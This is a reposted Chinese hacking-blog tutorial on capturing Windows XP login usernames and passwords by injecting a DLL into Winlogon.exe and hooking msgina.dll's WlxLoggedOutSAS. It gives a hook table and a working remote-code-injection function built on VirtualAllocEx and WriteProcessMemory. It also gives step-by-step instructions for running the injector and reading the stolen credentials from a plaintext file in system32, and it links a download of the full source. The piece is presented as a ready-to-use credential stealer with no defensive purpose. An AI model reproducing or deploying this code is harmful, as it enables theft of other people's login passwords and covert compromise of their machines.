截获系统密码 通过注入Winlogon进程[网络技术]
本文“截获系统密码 通过注入Winlogon进程[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
小牧原创文章,转载请注明出处.谢谢.hack.la">http://blog.hack.la QQ: 4289030
一. Winlogon.exe是系统必备的用于用户登录的进程,.我们下面将通过DLL注入,实现截获系统登录用户名和密码等信息.
二.核心技术点1:
HOOK MSGina.dll中的WlxLoggedOutSAS函数,实现对用户名和密码的拦阻;MSGina.dll是Windows NT系统(包含XP、NT系列等)中处理系统登录的DLL模块,而WlxLoggedOutSAS则是具体的处理接口.
// 定义待HOOK的构造体变量
struct {
char *dll; // DLL name
char *func;// Function name
LPVOID ppOriginal;// New address
LPVOID ppHook;// Original address
} htHookTable[]=
{
{“msgina.dll”,”WlxLoggedOutSAS”,NULL,NULL},
//{“advapi32.dll”,”LogonUserA”,NULL,NULL},
{NULL,NULL,NULL,NULL},
};
三.核心技术点2:远程注入(对比科普,高手飘过)
LPVOID InjectData(HANDLE hProcess,LPVOID lpData,ULONG ulFuncLen)
{
LPVOID lpAddress=NULL;
DWORD dwOldProtect;
DWORD BytesWritten=0;
// 为远程进程分配内存
lpAddress=VirtualAllocEx(hProcess,NULL,ulFuncLen,MEM_COMMIT|MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
if (lpAddress)
{
if(VirtualProtectEx(hProcess,lpAddress,ulFuncLen,PAGE_EXECUTE_READWRITE,&dwOldProtect))
{
FlushInstructionCache(hProcess,lpAddress,ulFuncLen);
if (WriteProcessMemory(hProcess,lpAddress,lpData,ulFuncLen,&BytesWritten))
{
VirtualProtectEx(hProcess,lpAddress,ulFuncLen,dwOldProtect,NULL);
return lpAddress;
}
VirtualProtectEx(hProcess,lpAddress,ulFuncLen,dwOldProtect,NULL);
}
}
return 0;
}
四.代码演示步骤:
(注意:由于公布的这个版本只支持XP SP1,请在XP SP2/SP3下演示时,请将密码设置为空)假如想得到支持XP SP2、SP3版本的源代码,我会在我的博客近期公布.hack.la">http://blog.hack.la
1. 将Tiger.dll拷贝到系统system32目录下
2. 在号令行下面运行:
injector.exe tiger.dll
3. 注销用户(注意:由于公布的这个版本只支持XP SP1,请在XP SP2/SP3下演示时,请将密码设置为空), 然后 重新登录;
4. 找到在系统system32目录下的mspwd.dll,用记事本翻开,便可以看到登录的用户名和密码,格局为:
U:tiger P: 123
五.完好源代码
下载 href="/article/UploadFiles/201002/2010021921040779.zip">
以上是“截获系统密码 通过注入Winlogon进程[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |